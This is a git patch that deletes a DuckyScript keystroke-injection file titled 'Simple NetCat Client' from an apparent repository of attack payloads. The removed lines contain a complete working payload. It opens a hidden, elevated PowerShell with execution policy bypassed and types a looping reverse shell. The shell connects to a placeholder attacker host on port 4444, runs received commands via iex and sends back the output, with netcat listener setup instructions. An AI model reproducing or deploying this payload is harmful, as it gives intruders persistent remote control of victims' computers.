From dc8ac23971bdc48ddd2489dfd4bf0cfe66c5bc29 Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Mon, 8 May 2023 23:17:22 +0000 Subject: [PATCH] Delete Simple NetCat Client.txt --- Simple NetCat Client.txt | 28 ---------------------------- 1 file changed, 28 deletions(-) delete mode 100644 Simple NetCat Client.txt diff --git a/Simple NetCat Client.txt b/Simple NetCat Client.txt deleted file mode 100644 index d442d52..0000000 --- a/Simple NetCat Client.txt +++ /dev/null @@ -1,28 +0,0 @@ -REM Title: Simple NetCat Client -REM Author: @beigeworm -REM Description: Uses Powershell to start a Netcat client that stays open until the system is restarted. -REM Target: Windows 10 - -REM *REQUIREMENTS* -REM start a netcat listener on server machine using port 4444 (eg. nc -lvp 4444). - -REM *SETUP* -REM replace YOUR_IP_OR_DOMAIN_HERE with ncat server address. - -REM some setup for dukie script. -DEFAULT_DELAY 100 - -REM open powershell (remove -W Hidden to show the window). -GUI r -DELAY 750 -STRING powershell -NoP -NonI -W Hidden -Exec Bypass -CTRL-SHIFT ENTER -DELAY 1500 -ALT y -DELAY 5000 - -REM write out the main Powershell code. -STRING do{;$v = 4;$a = New-Object SyStem.NeT.sockeTs.TCPClieNt("YOUR_IP_OR_DOMAIN_HERE",4444) -STRING ;$b = $a.GetStream();[byte[]]$c = 0..65535|%{0};while(($d = $b.Read($c, 0, $c.Length)) -ne 0){;$e = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($c,0, $d) -STRING ;$f = (iex $e 2>&1 | Out-String );$g = $f + (pwd).Path + '> ';$h = ([text.encoding]::ASCII).GetBytes($g);$b.Write($h,0,$h.Length);$b.Flush()};$a.Close();Sleep 10}while ($v -le 5) -ENTER \ No newline at end of file